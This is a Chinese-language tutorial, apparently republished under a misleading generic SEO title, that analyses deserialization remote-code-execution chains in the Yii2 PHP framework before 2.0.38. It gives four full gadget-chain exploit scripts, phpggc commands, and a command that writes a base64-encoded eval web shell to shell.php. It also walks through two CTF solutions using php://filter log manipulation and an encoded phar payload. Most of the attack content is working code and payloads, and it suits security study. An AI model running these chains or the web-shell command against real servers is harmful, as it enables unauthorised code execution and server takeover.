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yii2框架使用实例分析
本篇内容介绍了“yii2框架使用实例分析”的有关知识，在实际案例的操作过程中，不少人都会遇到这样的困境，接下来就让小编带领大家学习一下如何处理这些情况吧！希望大家仔细阅读，能够学有所成！
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Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize()时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架
Yii2＜2.0.38反序列化
安装：在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值，运行 php yii serve，新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
就可以进行测试了
?r=test/test&name=链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.phppublic function __destruct() { // make sure cursor is closed $this->reset(); }跟进
$this->reset();public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }这里的
$this->_dataReader可控，并调用了close()方法，那么可以找到一个类不存在close()方法，但存在__call方法就可以调用他了在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.phppublic function __call($method, $attributes) { return $this->format($method, $attributes); }这里的
$method为close，$attributes为空，继续跟进formatpublic function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }跟进
getFormatterpublic function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }似曾相识的代码，
laravel5.8某条链就出现过，这里$this->formatters可控，也就是$this->getFormatter($formatter)这这个可控，但是$arguments的值我们无法控制，值为空到这里可以执行
phpinfo了_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b))); }但是我们想要
rce的话，还要在yii2中已有的无参方法中进行挖掘这里我们可以使用正则匹配直接搜索含有
call_user_function的无参函数call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }这里的
$this->checkAccess和$this->id都是我们可控的所以直接构造就行了
_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }链二
这个是
yii2 2.0.37的另外一条链起点和链一相同，是
BatchQueryResult类的__destruct，然后是$this->_dataReader->close()，但是这里不找__call，我们去找存在close方法的类找到
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.phpclass DbSession extends MultiFieldSession { ... public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields();这里跟进
$this->composeFields()abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];这里
$this->writeCallback可控，$this是一个对象，所以这里调phpinfo的话应该不行，不过可以续上链一的run方法（即那个无参的方法）这里直接构造即可
_dataReader = $_dataReader; } } } namespace yii\web{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback = $writeCallback; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new yii\web\DbSession(array($c, 'run')); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }链三
我们可以在
yii2 2.0.38的commit看到他加了一个__wakeup这里限制了链一的起点
BatchQueryResult无法使用，后面的__call的链没有被破坏，所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.phppublic function __destruct() { $this->stopProcess(); }这里继续跟进
stopProcesspublic function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }这里的
$this->processes可控，所以可以利用$process->isRunning()来进行触发__call后面的利用就和链一相同了
processes[] = $processes; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a))); }链四
同样的先找
__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.phppublic function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }这里
$nsKey可控，跟进clearAllpublic function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }这里没有触发
__call的地方，但是存在字符串的拼接，可以触发__toString随便找找就找到了
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.phppublic function __toString() { return $this->__dom__->saveXML(); }同样用他去触发
__callpath = $path; $this->keys = $keys; } } } namespace Codeception\Util{ class XmlBuilder{ protected $__dom__; public function __construct($__dom__) { $this->__dom__ = $__dom__; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('saveXML'=>array($c,'run'))); $a = new Codeception\Util\XmlBuilder($b); $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); print(urlencode(serialize($d))); }phpggc
使用
./phpggc -l yii2可以看到有两条yii2的链可以使用如下命令快速得到链，
-u指url编码./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval，所以这里可以直接写shell，-b指base64编码./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -bCTF题目
[HMBCTF 2021]framework
把题目附件解压，看到
html\controllers\SiteController.phpclass SiteController extends Controller { public function actionAbout($message = 'Hello') { $data = base64_decode($message); unserialize($data); }这里可以这样传参
?r=site/about&message=拿链一打了一下，发现一下
system等函数被ban这里用
phpggc yii2的链二写一个shell进去，然后用蚁剑的apache/mod绕disable，运行/readflag即可获取flag[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容，或许对你有用！！
'log' => [ 'traceLevel' => YII_DEBUG ? 0 : 0, 'targets' => [ [ 'class' => 'yii\log\FileTarget', 'levels' => ['error'], 'logVars' => [], ], ], ],看到附件的
SiteController.php就改了这个地方public function actionIndex() { $file = Yii::$app->request->get('file'); $res = file_get_contents($file); file_put_contents($file,$res); return $this->render('index'); }
yii框架的runtime/logs目录下有一个app.log看一下依赖发现
monolog符合"require": { "php": ">=5.6.0", "yiisoft/yii2": "~2.0.14", "yiisoft/yii2-bootstrap": "~2.0.0", "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19" },首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"写入日志，注意最后面要加个字符
a/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00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phar的内容/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log最后用
phar协议打一下/?file=phar://../runtime/logs/app.log/test.txt然后在根目录找到
This_is_flaaagggg然后用这个找一下
flag即可php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"“yii2框架使用实例分析”的内容就介绍到这里了，感谢大家的阅读。如果想了解更多行业相关的知识可以关注创新互联网站，小编将为大家输出更多高质量的实用文章！
本文名称：yii2框架使用实例分析
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